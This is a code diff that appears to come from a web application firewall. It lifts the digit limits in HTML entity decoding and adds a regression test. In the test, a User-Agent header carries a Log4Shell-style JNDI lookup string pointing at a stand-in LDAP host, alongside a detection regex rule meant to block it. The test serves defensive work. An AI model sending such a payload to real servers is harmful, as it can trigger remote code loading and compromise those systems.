diff --git a/src/actions/transformations/html_entity_decode.cc b/src/actions/transformations/html_entity_decode.cc index 9c6b989d..b537ba35 100644 --- a/src/actions/transformations/html_entity_decode.cc +++ b/src/actions/transformations/html_entity_decode.cc @@ -62,18 +62,18 @@ static inline bool inplace(std::string &value) { } j++; /* j is the position of the first digit now. */ - constexpr int MAX_HEX_DIGITS = 2; // supports only bytes (max value 0xff) auto k = j; - while ((j - k < MAX_HEX_DIGITS) && (j < input_len) && (isxdigit(input[j]))) { + while ((j < input_len) && (isxdigit(input[j]))) { j++; } if (j > k) { /* Do we have at least one digit? */ /* Decode the entity. */ - char x[MAX_HEX_DIGITS + 1]; - memcpy(x, (const char *)&input[k], j - k); + char *x = new char[(j - k) + 1]; + std::copy(input + k, input + j, x); x[j - k] = '\0'; *d++ = (unsigned char)strtol(x, nullptr, 16); + delete[] x; /* Skip over the semicolon if it's there. */ if ((j < input_len) && (input[j] == ';')) { @@ -87,18 +87,19 @@ static inline bool inplace(std::string &value) { } } else { /* Decimal entity. */ - constexpr int MAX_DEC_DIGITS = 3; // supports only bytes (max value 255) auto k = j; - while ((j - k < MAX_DEC_DIGITS) && (j < input_len) && (isdigit(input[j]))) { + + while ((j < input_len) && (isdigit(input[j]))) { j++; } if (j > k) { /* Do we have at least one digit? */ /* Decode the entity. */ - char x[MAX_DEC_DIGITS + 1]; - memcpy(x, (const char *)&input[k], j - k); - x[j - k] = '\0'; + char *x = new char[j - k + 1]; + std::copy(input + k, input + j, x); + x[j - k] = '\0'; *d++ = (unsigned char)strtol(x, nullptr, 10); + delete[] x; /* Skip over the semicolon if it's there. */ if ((j < input_len) && (input[j] == ';')) { diff --git a/test/test-cases/regression/issue-3340.json b/test/test-cases/regression/issue-3340.json new file mode 100644 index 00000000..6251c860 --- /dev/null +++ b/test/test-cases/regression/issue-3340.json @@ -0,0 +1,48 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Decode HTML entities with padding", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "${jndi:ldap://evil.om/w}", + "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache" + }, + "uri": "/", + "method": "GET", + "http_version": 1.1, + "body": "" + }, + "response": { + "headers": { + "Content-Type": "text\/xml; charset=utf-8" + }, + "body": "
OK" + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\"" + ] + } +] diff --git a/test/test-suite.in b/test/test-suite.in index 0feb361b..f74834dd 100644 --- a/test/test-suite.in +++ b/test/test-suite.in @@ -73,6 +73,7 @@ TESTS+=test/test-cases/regression/issue-2196.json TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json TESTS+=test/test-cases/regression/issue-2427.json TESTS+=test/test-cases/regression/issue-2296.json +TESTS+=test/test-cases/regression/issue-3340.json TESTS+=test/test-cases/regression/issue-394.json TESTS+=test/test-cases/regression/issue-849.json TESTS+=test/test-cases/regression/issue-960.json